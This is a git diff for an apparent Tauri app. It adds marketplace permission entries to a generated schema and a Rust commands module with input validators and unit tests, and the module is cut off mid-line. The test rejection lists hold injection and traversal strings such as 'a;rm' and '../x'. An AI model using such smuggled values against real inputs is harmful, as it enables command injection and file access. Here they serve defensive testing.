a/app/src-tauri/gen/schemas/linux-schema.json b/app/src-tauri/gen/schemas/linux-schema.json index 101ec55..1a603db 100644 --- a/app/src-tauri/gen/schemas/linux-schema.json +++ b/app/src-tauri/gen/schemas/linux-schema.json @@ -350,6 +350,24 @@ "const": "allow-acquire-claude-token", "markdownDescription": "Enables the acquire_claude_token command without any pre-configured scope." }, + { + "description": "Enables the add_marketplace command without any pre-configured scope.", + "type": "string", + "const": "allow-add-marketplace", + "markdownDescription": "Enables the add_marketplace command without any pre-configured scope." + }, + { + "description": "Enables the add_marketplace_gh_host_account command without any pre-configured scope.", + "type": "string", + "const": "allow-add-marketplace-gh-host-account", + "markdownDescription": "Enables the add_marketplace_gh_host_account command without any pre-configured scope." + }, + { + "description": "Enables the add_marketplace_token_account command without any pre-configured scope.", + "type": "string", + "const": "allow-add-marketplace-token-account", + "markdownDescription": "Enables the add_marketplace_token_account command without any pre-configured scope." + }, { "description": "Enables the add_project command without any pre-configured scope.", "type": "string", @@ -362,6 +380,12 @@ "const": "allow-add-scheduled-task", "markdownDescription": "Enables the add_scheduled_task command without any pre-configured scope." }, + { + "description": "Enables the apply_marketplace_now command without any pre-configured scope.", + "type": "string", + "const": "allow-apply-marketplace-now", + "markdownDescription": "Enables the apply_marketplace_now command without any pre-configured scope." + }, { "description": "Enables the apply_settings_import command without any pre-configured scope.", "type": "string", @@ -398,6 +422,12 @@ "const": "allow-cancel-claude-token", "markdownDescription": "Enables the cancel_claude_token command without any pre-configured scope." }, + { + "description": "Enables the cancel_marketplace_gh_login command without any pre-configured scope.", + "type": "string", + "const": "allow-cancel-marketplace-gh-login", + "markdownDescription": "Enables the cancel_marketplace_gh_login command without any pre-configured scope." + }, { "description": "Enables the check_browser_view_support command without any pre-configured scope.", "type": "string", @@ -524,6 +554,12 @@ "const": "allow-export-settings", "markdownDescription": "Enables the export_settings command without any pre-configured scope." }, + { + "description": "Enables the forget_marketplace_installs command without any pre-configured scope.", + "type": "string", + "const": "allow-forget-marketplace-installs", + "markdownDescription": "Enables the forget_marketplace_installs command without any pre-configured scope." + }, { "description": "Enables the get_app_version command without any pre-configured scope.", "type": "string", @@ -590,6 +626,12 @@ "const": "allow-get-help-content", "markdownDescription": "Enables the get_help_content command without any pre-configured scope." }, + { + "description": "Enables the get_marketplace_sync_report command without any pre-configured scope.", + "type": "string", + "const": "allow-get-marketplace-sync-report", + "markdownDescription": "Enables the get_marketplace_sync_report command without any pre-configured scope." + }, { "description": "Enables the get_migration_state command without any pre-configured scope.", "type": "string", @@ -650,6 +692,12 @@ "const": "allow-install-browser-view-support", "markdownDescription": "Enables the install_browser_view_support command without any pre-configured scope." }, + { + "description": "Enables the install_marketplace_item command without any pre-configured scope.", + "type": "string", + "const": "allow-install-marketplace-item", + "markdownDescription": "Enables the install_marketplace_item command without any pre-configured scope." + }, { "description": "Enables the list_aws_profiles command without any pre-configured scope.", "type": "string", @@ -674,6 +722,18 @@ "const": "allow-list-container-files", "markdownDescription": "Enables the list_container_files command without any pre-configured scope." }, + { + "description": "Enables the list_marketplace_snapshots command without any pre-configured scope.", + "type": "string", + "const": "allow-list-marketplace-snapshots", + "markdownDescription": "Enables the list_marketplace_snapshots command without any pre-configured scope." + }, + { + "description": "Enables the list_marketplace_updates command without any pre-configured scope.", + "type": "string", + "const": "allow-list-marketplace-updates", + "markdownDescription": "Enables the list_marketplace_updates command without any pre-configured scope." + }, { "description": "Enables the list_notes command without any pre-configured scope.", "type": "string", @@ -692,6 +752,18 @@ "const": "allow-list-scheduled-tasks", "markdownDescription": "Enables the list_scheduled_tasks command without any pre-configured scope." }, + { + "description": "Enables the marketplace_gh_host_available command without any pre-configured scope.", + "type": "string", + "const": "allow-marketplace-gh-host-available", + "markdownDescription": "Enables the marketplace_gh_host_available command without any pre-configured scope." + }, + { + "description": "Enables the marketplace_item_diff command without any pre-configured scope.", + "type": "string", + "const": "allow-marketplace-item-diff", + "markdownDescription": "Enables the marketplace_item_diff command without any pre-configured scope." + }, { "description": "Enables the migrate_project_to_base command without any pre-configured scope.", "type": "string", @@ -776,6 +848,12 @@ "const": "allow-reconcile-project-statuses", "markdownDescription": "Enables the reconcile_project_statuses command without any pre-configured scope." }, + { + "description": "Enables the refresh_marketplaces command without any pre-configured scope.", + "type": "string", + "const": "allow-refresh-marketplaces", + "markdownDescription": "Enables the refresh_marketplaces command without any pre-configured scope." + }, { "description": "Enables the regenerate_gateway_auth_token command without any pre-configured scope.", "type": "string", @@ -788,6 +866,18 @@ "const": "allow-regenerate-web-terminal-token", "markdownDescription": "Enables the regenerate_web_terminal_token command without any pre-configured scope." }, + { + "description": "Enables the remove_marketplace command without any pre-configured scope.", + "type": "string", + "const": "allow-remove-marketplace", + "markdownDescription": "Enables the remove_marketplace command without any pre-configured scope." + }, + { + "description": "Enables the remove_marketplace_account command without any pre-configured scope.", + "type": "string", + "const": "allow-remove-marketplace-account", + "markdownDescription": "Enables the remove_marketplace_account command without any pre-configured scope." + }, { "description": "Enables the remove_project command without any pre-configured scope.", "type": "string", @@ -878,6 +968,12 @@ "const": "allow-set-gateway-api-key", "markdownDescription": "Enables the set_gateway_api_key command without any pre-configured scope." }, + { + "description": "Enables the set_global_item_disabled command without any pre-configured scope.", + "type": "string", + "const": "allow-set-global-item-disabled", + "markdownDescription": "Enables the set_global_item_disabled command without any pre-configured scope." + }, { "description": "Enables the set_scheduled_task_enabled command without any pre-configured scope.", "type": "string", @@ -896,6 +992,12 @@ "const": "allow-start-gateway", "markdownDescription": "Enables the start_gateway command without any pre-configured scope." }, + { + "description": "Enables the start_marketplace_gh_container_login command without any pre-configured scope.", + "type": "string", + "const": "allow-start-marketplace-gh-container-login", + "markdownDescription": "Enables the start_marketplace_gh_container_login command without any pre-configured scope." + }, { "description": "Enables the start_project_container command without any pre-configured scope.", "type": "string", @@ -968,12 +1070,36 @@ "const": "allow-terminal-resize", "markdownDescription": "Enables the terminal_resize command without any pre-configured scope." }, + { + "description": "Enables the test_marketplace_account command without any pre-configured scope.", + "type": "string", + "const": "allow-test-marketplace-account", + "markdownDescription": "Enables the test_marketplace_account command without any pre-configured scope." + }, { "description": "Enables the transcribe_audio command without any pre-configured scope.", "type": "string", "const": "allow-transcribe-audio", "markdownDescription": "Enables the transcribe_audio command without any pre-configured scope." }, + { + "description": "Enables the uninstall_marketplace_item command without any pre-configured scope.", + "type": "string", + "const": "allow-uninstall-marketplace-item", + "markdownDescription": "Enables the uninstall_marketplace_item command without any pre-configured scope." + }, + { + "description": "Enables the update_marketplace command without any pre-configured scope.", + "type": "string", + "const": "allow-update-marketplace", + "markdownDescription": "Enables the update_marketplace command without any pre-configured scope." + }, + { + "description": "Enables the update_marketplace_item command without any pre-configured scope.", + "type": "string", + "const": "allow-update-marketplace-item", + "markdownDescription": "Enables the update_marketplace_item command without any pre-configured scope." + }, { "description": "Enables the update_project command without any pre-configured scope.", "type": "string", @@ -1040,6 +1166,24 @@ "const": "deny-acquire-claude-token", "markdownDescription": "Denies the acquire_claude_token command without any pre-configured scope." }, + { + "description": "Denies the add_marketplace command without any pre-configured scope.", + "type": "string", + "const": "deny-add-marketplace", + "markdownDescription": "Denies the add_marketplace command without any pre-configured scope." + }, + { + "description": "Denies the add_marketplace_gh_host_account command without any pre-configured scope.", + "type": "string", + "const": "deny-add-marketplace-gh-host-account", + "markdownDescription": "Denies the add_marketplace_gh_host_account command without any pre-configured scope." + }, + { + "description": "Denies the add_marketplace_token_account command without any pre-configured scope.", + "type": "string", + "const": "deny-add-marketplace-token-account", + "markdownDescription": "Denies the add_marketplace_token_account command without any pre-configured scope." + }, { "description": "Denies the add_project command without any pre-configured scope.", "type": "string", @@ -1052,6 +1196,12 @@ "const": "deny-add-scheduled-task", "markdownDescription": "Denies the add_scheduled_task command without any pre-configured scope." }, + { + "description": "Denies the apply_marketplace_now command without any pre-configured scope.", + "type": "string", + "const": "deny-apply-marketplace-now", + "markdownDescription": "Denies the apply_marketplace_now command without any pre-configured scope." + }, { "description": "Denies the apply_settings_import command without any pre-configured scope.", "type": "string", @@ -1088,6 +1238,12 @@ "const": "deny-cancel-claude-token", "markdownDescription": "Denies the cancel_claude_token command without any pre-configured scope." }, + { + "description": "Denies the cancel_marketplace_gh_login command without any pre-configured scope.", + "type": "string", + "const": "deny-cancel-marketplace-gh-login", + "markdownDescription": "Denies the cancel_marketplace_gh_login command without any pre-configured scope." + }, { "description": "Denies the check_browser_view_support command without any pre-configured scope.", "type": "string", @@ -1214,6 +1370,12 @@ "const": "deny-export-settings", "markdownDescription": "Denies the export_settings command without any pre-configured scope." }, + { + "description": "Denies the forget_marketplace_installs command without any pre-configured scope.", + "type": "string", + "const": "deny-forget-marketplace-installs", + "markdownDescription": "Denies the forget_marketplace_installs command without any pre-configured scope." + }, { "description": "Denies the get_app_version command without any pre-configured scope.", "type": "string", @@ -1280,6 +1442,12 @@ "const": "deny-get-help-content", "markdownDescription": "Denies the get_help_content command without any pre-configured scope." }, + { + "description": "Denies the get_marketplace_sync_report command without any pre-configured scope.", + "type": "string", + "const": "deny-get-marketplace-sync-report", + "markdownDescription": "Denies the get_marketplace_sync_report command without any pre-configured scope." + }, { "description": "Denies the get_migration_state command without any pre-configured scope.", "type": "string", @@ -1340,6 +1508,12 @@ "const": "deny-install-browser-view-support", "markdownDescription": "Denies the install_browser_view_support command without any pre-configured scope." }, + { + "description": "Denies the install_marketplace_item command without any pre-configured scope.", + "type": "string", + "const": "deny-install-marketplace-item", + "markdownDescription": "Denies the install_marketplace_item command without any pre-configured scope." + }, { "description": "Denies the list_aws_profiles command without any pre-configured scope.", "type": "string", @@ -1364,6 +1538,18 @@ "const": "deny-list-container-files", "markdownDescription": "Denies the list_container_files command without any pre-configured scope." }, + { + "description": "Denies the list_marketplace_snapshots command without any pre-configured scope.", + "type": "string", + "const": "deny-list-marketplace-snapshots", + "markdownDescription": "Denies the list_marketplace_snapshots command without any pre-configured scope." + }, + { + "description": "Denies the list_marketplace_updates command without any pre-configured scope.", + "type": "string", + "const": "deny-list-marketplace-updates", + "markdownDescription": "Denies the list_marketplace_updates command without any pre-configured scope." + }, { "description": "Denies the list_notes command without any pre-configured scope.", "type": "string", @@ -1382,6 +1568,18 @@ "const": "deny-list-scheduled-tasks", "markdownDescription": "Denies the list_scheduled_tasks command without any pre-configured scope." }, + { + "description": "Denies the marketplace_gh_host_available command without any pre-configured scope.", + "type": "string", + "const": "deny-marketplace-gh-host-available", + "markdownDescription": "Denies the marketplace_gh_host_available command without any pre-configured scope." + }, + { + "description": "Denies the marketplace_item_diff command without any pre-configured scope.", + "type": "string", + "const": "deny-marketplace-item-diff", + "markdownDescription": "Denies the marketplace_item_diff command without any pre-configured scope." + }, { "description": "Denies the migrate_project_to_base command without any pre-configured scope.", "type": "string", @@ -1466,6 +1664,12 @@ "const": "deny-reconcile-project-statuses", "markdownDescription": "Denies the reconcile_project_statuses command without any pre-configured scope." }, + { + "description": "Denies the refresh_marketplaces command without any pre-configured scope.", + "type": "string", + "const": "deny-refresh-marketplaces", + "markdownDescription": "Denies the refresh_marketplaces command without any pre-configured scope." + }, { "description": "Denies the regenerate_gateway_auth_token command without any pre-configured scope.", "type": "string", @@ -1478,6 +1682,18 @@ "const": "deny-regenerate-web-terminal-token", "markdownDescription": "Denies the regenerate_web_terminal_token command without any pre-configured scope." }, + { + "description": "Denies the remove_marketplace command without any pre-configured scope.", + "type": "string", + "const": "deny-remove-marketplace", + "markdownDescription": "Denies the remove_marketplace command without any pre-configured scope." + }, + { + "description": "Denies the remove_marketplace_account command without any pre-configured scope.", + "type": "string", + "const": "deny-remove-marketplace-account", + "markdownDescription": "Denies the remove_marketplace_account command without any pre-configured scope." + }, { "description": "Denies the remove_project command without any pre-configured scope.", "type": "string", @@ -1568,6 +1784,12 @@ "const": "deny-set-gateway-api-key", "markdownDescription": "Denies the set_gateway_api_key command without any pre-configured scope." }, + { + "description": "Denies the set_global_item_disabled command without any pre-configured scope.", + "type": "string", + "const": "deny-set-global-item-disabled", + "markdownDescription": "Denies the set_global_item_disabled command without any pre-configured scope." + }, { "description": "Denies the set_scheduled_task_enabled command without any pre-configured scope.", "type": "string", @@ -1586,6 +1808,12 @@ "const": "deny-start-gateway", "markdownDescription": "Denies the start_gateway command without any pre-configured scope." }, + { + "description": "Denies the start_marketplace_gh_container_login command without any pre-configured scope.", + "type": "string", + "const": "deny-start-marketplace-gh-container-login", + "markdownDescription": "Denies the start_marketplace_gh_container_login command without any pre-configured scope." + }, { "description": "Denies the start_project_container command without any pre-configured scope.", "type": "string", @@ -1658,12 +1886,36 @@ "const": "deny-terminal-resize", "markdownDescription": "Denies the terminal_resize command without any pre-configured scope." }, + { + "description": "Denies the test_marketplace_account command without any pre-configured scope.", + "type": "string", + "const": "deny-test-marketplace-account", + "markdownDescription": "Denies the test_marketplace_account command without any pre-configured scope." + }, { "description": "Denies the transcribe_audio command without any pre-configured scope.", "type": "string", "const": "deny-transcribe-audio", "markdownDescription": "Denies the transcribe_audio command without any pre-configured scope." }, + { + "description": "Denies the uninstall_marketplace_item command without any pre-configured scope.", + "type": "string", + "const": "deny-uninstall-marketplace-item", + "markdownDescription": "Denies the uninstall_marketplace_item command without any pre-configured scope." + }, + { + "description": "Denies the update_marketplace command without any pre-configured scope.", + "type": "string", + "const": "deny-update-marketplace", + "markdownDescription": "Denies the update_marketplace command without any pre-configured scope." + }, + { + "description": "Denies the update_marketplace_item command without any pre-configured scope.", + "type": "string", + "const": "deny-update-marketplace-item", + "markdownDescription": "Denies the update_marketplace_item command without any pre-configured scope." + }, { "description": "Denies the update_project command without any pre-configured scope.", "type": "string", diff --git a/app/src-tauri/src/commands/marketplace_commands.rs b/app/src-tauri/src/commands/marketplace_commands.rs new file mode 100644 index 0000000..6874234 --- /dev/null +++ b/app/src-tauri/src/commands/marketplace_commands.rs @@ -0,0 +1,1147 @@ +//! Marketplace commands: configure marketplaces and accounts, browse, install, +//! update, and push installs into running containers. Spec: +//! `docs/superpowers/specs/2026-09-27-marketplace-design.md`. + +use std::collections::{BTreeMap, HashSet}; + +use tauri::{AppHandle, Emitter, State}; +use tokio::sync::oneshot; + +use crate::docker::container::is_container_running; +use crate::marketplace::{ + self as mk, auth, catalog, diff, gh_login, git, tree::GitTree, MarketplaceManager, +}; +use crate::models::marketplace::{ + is_valid_commit, is_valid_item_key, AccountMethod, FileDiff, InstallScope, ItemUpdate, + Marketplace, MarketplaceAccount, MarketplaceInstall, MarketplaceItemRef, MarketplaceSnapshot, + ProjectSyncResult, SyncReport, +}; +use crate::models::{AppSettings, Project}; +use crate::storage::secure; +use crate::AppState; + +/// Pure list/field operations behind the commands, kept apart so they are +/// testable without a Tauri runtime. +pub(crate) mod ops { + use crate::marketplace::{auth, git}; + use crate::models::marketplace::{MarketplaceInstall, MarketplaceItemRef}; + + /// Insert, or replace the install of the same item (a re-install re-pins). + pub fn upsert_install(list: &mut Vec, inst: MarketplaceInstall) { + match list.iter_mut().find(|i| i.item_ref() == inst.item_ref()) { + Some(existing) => *existing = inst, + None => list.push(inst), + } + } + + pub fn remove_install(list: &mut Vec, item: &MarketplaceItemRef) -> bool { + let before = list.len(); + list.retain(|i| &i.item_ref() != item); + list.len() != before + } + + pub fn set_disabled( + list: &mut Vec, + item: &MarketplaceItemRef, + disabled: bool, + ) { + list.retain(|r| r != item); + if disabled { + list.push(item.clone()); + list.sort(); + } + } + + pub fn repin(list: &mut [MarketplaceInstall], item: &MarketplaceItemRef, commit: &str) -> bool { + match list.iter_mut().find(|i| &i.item_ref() == item) { + Some(i) => { + i.commit = commit.to_string(); + true + } + None => false, + } + } + + pub fn validate_label(label: &str) -> Result { + let label = label.trim(); + if label.is_empty() { + return Err("Enter a name.".to_string()); + } + if label.chars().count() > 80 || label.chars().any(char::is_control) { + return Err("Names are at most 80 characters, with no control characters.".to_string()); + } + Ok(label.to_string()) + } + + /// `None` or blank means the repository's default branch. Otherwise the + /// fetch's own rule ([`git::valid_branch`]), so the form never accepts a + /// name the fetch then refuses (pre-flight F13). + pub fn validate_branch(branch: Option) -> Result, String> { + let Some(b) = branch + .map(|b| b.trim().to_string()) + .filter(|b| !b.is_empty()) + else { + return Ok(None); + }; + if git::valid_branch(&b) { + Ok(Some(b)) + } else { + Err(format!("{b:?} is not a valid branch name.")) + } + } + + /// Lowercased host name with an optional `:port`: [`auth::valid_host`]'s + /// character rule, plus a numeric port (pre-flight F13). + pub fn validate_host(host: &str) -> Result { + let host = host.trim().to_ascii_lowercase(); + let port_ok = host + .split_once(':') + .map(|(_, p)| p) + .is_none_or(|p| !p.is_empty() && p.len() <= 5 && p.bytes().all(|b| b.is_ascii_digit())); + if auth::valid_host(&host) && !host.starts_with('.') && !host.starts_with(':') && port_ok { + Ok(host) + } else { + Err(format!("{host:?} is not a valid host name.")) + } + } + + /// Account and marketplace ids name keychain entries and cache + /// directories, so an id from outside (an import) must be the shape the + /// commands mint: a UUID-like `[A-Za-z0-9-]{1,64}`. + pub fn validate_id(id: &str) -> Result<(), String> { + let ok = !id.is_empty() + && id.len() <= 64 + && id.bytes().all(|b| b.is_ascii_alphanumeric() || b == b'-'); + if ok { + Ok(()) + } else { + Err("An account or marketplace id is malformed.".to_string()) + } + } + + /// A pasted token, trimmed. Never echoed back in the error. + pub fn validate_token_text(token: &str) -> Result { + let token = token.trim(); + if token.is_empty() || token.chars().any(|c| c.is_whitespace() || c.is_control()) { + return Err( + "Paste the whole token — it cannot be empty or contain spaces.".to_string(), + ); + } + Ok(token.to_string()) + } + + #[cfg(test)] + mod tests { + use super::*; + use crate::models::marketplace::{ItemKind, MarketplaceInstall, MarketplaceItemRef}; + + fn r(key: &str) -> MarketplaceItemRef { + MarketplaceItemRef { + marketplace_id: "m".into(), + kind: ItemKind::Agent, + key: key.into(), + } + } + fn i(key: &str, commit: &str) -> MarketplaceInstall { + MarketplaceInstall { + marketplace_id: "m".into(), + kind: ItemKind::Agent, + key: key.into(), + commit: commit.into(), + } + } + + #[test] + fn upsert_replaces_the_same_item_instead_of_duplicating_it() { + let mut list = vec![i("a", "1"), i("b", "1")]; + upsert_install(&mut list, i("a", "2")); + upsert_install(&mut list, i("c", "1")); + assert_eq!(list, vec![i("a", "2"), i("b", "1"), i("c", "1")]); + } + + #[test] + fn remove_reports_whether_anything_was_removed() { + let mut list = vec![i("a", "1")]; + assert!(!remove_install(&mut list, &r("zzz"))); + assert!(remove_install(&mut list, &r("a"))); + assert!(list.is_empty()); + } + + #[test] + fn disabling_is_idempotent_and_sorted() { + let mut list = vec![]; + set_disabled(&mut list, &r("b"), true); + set_disabled(&mut list, &r("a"), true); + set_disabled(&mut list, &r("a"), true); + assert_eq!(list, vec![r("a"), r("b")]); + set_disabled(&mut list, &r("a"), false); + assert_eq!(list, vec![r("b")]); + } + + #[test] + fn repin_moves_only_the_named_item() { + let mut list = vec![i("a", "1"), i("b", "1")]; + assert!(repin(&mut list, &r("b"), "2")); + assert!(!repin(&mut list, &r("c"), "2")); + assert_eq!(list, vec![i("a", "1"), i("b", "2")]); + } + + #[test] + fn labels_branches_and_hosts_are_validated() { + assert_eq!(validate_label(" Work ").unwrap(), "Work"); + assert!(validate_label(" ").is_err()); + assert!(validate_label(&"x".repeat(81)).is_err()); + assert!(validate_label("a\u{7}b").is_err()); + assert_eq!(validate_branch(None).unwrap(), None); + assert_eq!(validate_branch(Some(" ".into())).unwrap(), None); + assert_eq!( + validate_branch(Some("release/1.x".into())).unwrap(), + Some("release/1.x".into()) + ); + for bad in ["-x", "a..b", "a b", "a;b", "/a", "a/"] { + assert!(validate_branch(Some(bad.into())).is_err(), "{bad}"); + } + assert_eq!(validate_host("GitHub.com").unwrap(), "github.com"); + assert_eq!( + validate_host("repo.example.net:3000").unwrap(), + "repo.example.net:3000" + ); + for bad in [ + "", "-a", "a b", "a/b", "a:", "a:x", "a;rm", "a:1:2", "a:123456", + ] { + assert!(validate_host(bad).is_err(), "{bad}"); + } + } + + /// Pre-flight F13: the add form and the fetch agree on what a branch + /// is, so a name the fetch would refuse is refused up front. + #[test] + fn the_branch_rule_is_the_fetchs_rule() { + assert!(!crate::marketplace::git::valid_branch("x.lock")); + assert!(validate_branch(Some("x.lock".into())).is_err()); + } + + #[test] + fn ids_and_pasted_tokens_are_validated() { + assert!(validate_id("0f8fad5b-d9cb-469f-a165-70867728950e").is_ok()); + for bad in ["", "../x", "a/b", "a b", "a.git", &"a".repeat(65)] { + assert!(validate_id(bad).is_err(), "{bad}"); + } + assert_eq!( + validate_token_text(" test-token-not-real \n").unwrap(), + "test-token-not-real" + ); + for bad in ["", " ", "test token", "test-token\u{7}"] { + assert!(validate_token_text(bad).is_err(), "{bad:?}"); + } + } + } +} + +// ───────────────────────────────────────────────────────────────────────────── +// Helpers +// ───────────────────────────────────────────────────────────────────────────── + +fn find_marketplace(settings: &AppSettings, id: &str) -> Result { + settings + .marketplaces + .iter() + .find(|m| m.id == id) + .cloned() + .ok_or_else(|| "That marketplace is no longer configured.".to_string()) +} + +fn find_account(settings: &AppSettings, id: &str) -> Result { + settings + .marketplace_accounts + .iter() + .find(|a| a.id == id) + .cloned() + .ok_or_else(|| "That account no longer exists.".to_string()) +} + +fn find_project(state: &AppState, id: &str) -> Result { + state + .projects_store + .get(id) + .ok_or_else(|| format!("Project {id} not found")) +} + +/// Normalises `m` in place (name, URL, branch) and checks its account is on +/// the marketplace's host. +fn validate_marketplace(settings: &AppSettings, m: &mut Marketplace) -> Result<(), String> { + m.name = ops::validate_label(&m.name)?; + m.url = m.url.trim().to_string(); + let host = auth::host_of(&m.url)?; + m.branch = ops::validate_branch(m.branch.take())?; + if let Some(account_id) = &m.account_id { + let a = find_account(settings, account_id)?; + if !a.host.eq_ignore_ascii_case(&host) { + return Err(format!( + "The account \"{}\" is for {}, but this marketplace is on {}.", + a.label, a.host, host + )); + } + } + Ok(()) +} + +fn same_source(a: &Marketplace, b: &Marketplace) -> bool { + a.url.eq_ignore_ascii_case(&b.url) && a.branch == b.branch +} + +fn validate_item(item: &MarketplaceItemRef) -> Result<(), String> { + if is_valid_item_key(&item.key) { + Ok(()) + } else { + Err(format!("\"{}\" is not a valid item name.", item.key)) + } +} + +fn validate_install(inst: &MarketplaceInstall) -> Result<(), String> { + ops::validate_id(&inst.marketplace_id)?; + validate_item(&inst.item_ref())?; + if !is_valid_commit(&inst.commit) { + return Err(format!( + "The install of \"{}\" has an invalid commit id.", + inst.key + )); + } + Ok(()) +} + +/// Checks and normalises the marketplace half of an imported settings file +/// with the same rules the commands apply, before anything is written +/// (pre-flight F10). `tokens` is `ExportedSecrets::marketplace_account_tokens`. +/// +/// Installs whose marketplace is not in the file are accepted: they are what +/// the Installed tab lists as "source removed". +pub(crate) fn validate_imported_marketplace_state( + settings: &mut AppSettings, + tokens: &BTreeMap, +) -> Result<(), String> { + let wrap = |e: String| format!("The file's marketplace settings were refused: {e}"); + + let mut ids = HashSet::new(); + for a in &mut settings.marketplace_accounts { + ops::validate_id(&a.id).map_err(wrap)?; + if !ids.insert(a.id.clone()) { + return Err(wrap("an account appears twice.".to_string())); + } + a.label = ops::validate_label(&a.label).map_err(wrap)?; + a.host = ops::validate_host(&a.host).map_err(wrap)?; + if let Some(u) = &a.username { + if u.chars().count() > 100 || u.chars().any(char::is_control) { + return Err(wrap(format!( + "the account \"{}\" has an invalid user name.", + a.label + ))); + } + } + } + + let accounts_only = AppSettings { + marketplace_accounts: settings.marketplace_accounts.clone(), + ..AppSettings::default() + }; + let mut ids = HashSet::new(); + for i in 0..settings.marketplaces.len() { + let m = &mut settings.marketplaces[i]; + ops::validate_id(&m.id).map_err(wrap)?; + if !ids.insert(m.id.clone()) { + return Err(wrap("a marketplace appears twice.".to_string())); + } + validate_marketplace(&accounts_only, m).map_err(wrap)?; + let m = &settings.marketplaces[i]; + if settings.marketplaces[..i].iter().any(|x| same_source(x, m)) { + return Err(wrap(format!( + "\"{}\" repeats another marketplace's repository.", + m.name + ))); + } + } + + for inst in &settings.global_marketplace_installs { + validate_install(inst).map_err(wrap)?; + } + + for (account_id, token) in tokens { + let account = settings + .marketplace_accounts + .iter() + .find(|a| &a.id == account_id) + .ok_or_else(|| wrap("a token belongs to no account in the file.".to_string()))?; + if account.method == AccountMethod::GhHost { + return Err(wrap(format!( + "\"{}\" signs in through this computer's gh and cannot carry a token.", + account.label + ))); + } + ops::validate_token_text(token).map_err(wrap)?; + } + Ok(()) +} + +/// The in-memory snapshot, else the cached one (which is then remembered). +fn snapshot_or_cached(mgr: &MarketplaceManager, m: &Marketplace) -> MarketplaceSnapshot { + if let Some(s) = mgr.snapshot(&m.id) { + return s; + } + let s = mk::load_cached_snapshot(mgr, m); + mgr.put_snapshot(s.clone()); + s +} + +async fn snapshot_blocking( + state: &AppState, + m: &Marketplace, +) -> Result { + let mgr = state.marketplace.clone(); + let m = m.clone(); + tokio::task::spawn_blocking(move || snapshot_or_cached(&mgr, &m)) + .await + .map_err(|e| format!("Reading the marketplace cache failed: {e}")) +} + +/// Make each cache's pin refs exactly the commits installs reference, so a +/// pinned version can never be garbage-collected away. Under the repo lock +/// (pre-flight F11): a concurrent fetch writes refs in the same repos. +async fn refresh_pins(state: &AppState) { + let settings = state.settings_store.get(); + let pins = mk::pins_by_marketplace(&settings, &state.projects_store.list()); + let root = state.marketplace.data_root().to_path_buf(); + let ids: Vec = settings.marketplaces.iter().map(|m| m.id.clone()).collect(); + let _repo_guard = state.marketplace.repo_lock().lock().await; + let _ = tokio::task::spawn_blocking(move || { + for id in ids { + let repo = git::cache_path(&root, &id); + if !repo.exists() { + continue; + } + let commits = pins.get(&id).cloned().unwrap_or_default(); + if let Err(e) = git::set_pins(&repo, &commits) { + log::warn!( + "Could not update the pinned commits of marketplace {}: {}", + id, + e + ); + } + } + }) + .await; +} + +/// Forget a marketplace's snapshot and delete its cache, under the repo lock. +async fn remove_cache(state: &AppState, marketplace_id: &str) { + state.marketplace.remove_snapshot(marketplace_id); + let path = git::cache_path(state.marketplace.data_root(), marketplace_id); + let _repo_guard = state.marketplace.repo_lock().lock().await; + let _ = tokio::task::spawn_blocking(move || { + if path.exists() { + if let Err(e) = std::fs::remove_dir_all(&path) { + log::warn!( + "Could not delete the marketplace cache {}: {}", + path.display(), + e + ); + } + } + }) + .await; +} + +fn save_new_account( + state: &AppState, + account: MarketplaceAccount, + stored_token: bool, +) -> Result { + let mut settings = state.settings_store.get(); + settings.marketplace_accounts.push(account.clone()); + if let Err(e) = state.settings_store.update(settings) { + if stored_token { + let _ = secure::delete_marketplace_token(&account.id); + } + return Err(e); + } + Ok(account) +} + +// ───────────────────────────────────────────────────────────────────────────── +// Marketplaces +// ───────────────────────────────────────────────────────────────────────────── + +#[tauri::command] +pub async fn list_marketplace_snapshots( + state: State<'_, AppState>, +) -> Result, String> { + let settings = state.settings_store.get(); + let mgr = state.marketplace.clone(); + tokio::task::spawn_blocking(move || { + settings + .marketplaces + .iter() + .map(|m| snapshot_or_cached(&mgr, m)) + .collect() + }) + .await + .map_err(|e| format!("Reading the marketplace caches failed: {e}")) +} + +#[tauri::command] +pub async fn refresh_marketplaces( + marketplace_id: Option, + state: State<'_, AppState>, +) -> Result, String> { + let settings = state.settings_store.get(); + if let Some(id) = &marketplace_id { + find_marketplace(&settings, id)?; + } + for m in settings + .marketplaces + .iter() + .filter(|m| marketplace_id.as_deref().is_none_or(|id| id == m.id)) + { + mk::refresh_marketplace(&state.marketplace, &settings, &m.id).await; + } + refresh_pins(&state).await; + list_marketplace_snapshots(state).await +} + +/// Test-fetches before saving: a wrong URL or credential fails here, and +/// nothing is stored. +#[tauri::command] +pub async fn add_marketplace( + name: String, + url: String, + branch: Option, + account_id: Option, + state: State<'_, AppState>, +) -> Result { + let settings = state.settings_store.get(); + let mut m = Marketplace { + id: uuid::Uuid::new_v4().to_string(), + name, + url, + branch, + account_id, + }; + validate_marketplace(&settings, &mut m)?; + if settings.marketplaces.iter().any(|x| same_source(x, &m)) { + return Err("This repository (and branch) has already been added.".to_string()); + } + + let mut trial = settings.clone(); + trial.marketplaces.push(m.clone()); + let snap = mk::refresh_marketplace(&state.marketplace, &trial, &m.id).await; + let failure = snap.fetch_error.clone().or_else(|| { + snap.head_commit + .is_none() + .then(|| "The repository has no commits yet.".to_string()) + }); + if let Some(e) = failure { + remove_cache(&state, &m.id).await; + return Err(e); + } + + let mut current = state.settings_store.get(); + current.marketplaces.push(m); + state.settings_store.update(current)?; + Ok(snap) +} + +#[tauri::command] +pub async fn update_marketplace( + marketplace: Marketplace, + state: State<'_, AppState>, +) -> Result { + let mut settings = state.settings_store.get(); + let mut m = marketplace; + validate_marketplace(&settings, &mut m)?; + if settings + .marketplaces + .iter() + .any(|x| x.id != m.id && same_source(x, &m)) + { + return Err("This repository (and branch) has already been added.".to_string()); + } + let slot = settings + .marketplaces + .iter_mut() + .find(|x| x.id == m.id) + .ok_or_else(|| "That marketplace is no longer configured.".to_string())?; + *slot = m; + state.settings_store.update(settings) +} + +/// Installs from it stay listed as "source removed" until forgotten. +#[tauri::command] +pub async fn remove_marketplace( + marketplace_id: String, + state: State<'_, AppState>, +) -> Result { + let mut settings = state.settings_store.get(); + find_marketplace(&settings, &marketplace_id)?; + settings.marketplaces.retain(|m| m.id != marketplace_id); + let saved = state.settings_store.update(settings)?; + remove_cache(&state, &marketplace_id).await; + Ok(saved) +} + +#[tauri::command] +pub async fn forget_marketplace_installs( + marketplace_id: String, + state: State<'_, AppState>, +) -> Result<(), String> { + let mut settings = state.settings_store.get(); + settings + .global_marketplace_installs + .retain(|i| i.marketplace_id != marketplace_id); + state.settings_store.update(settings)?; + for mut p in state.projects_store.list() { + let before = (p.marketplace_installs.len(), 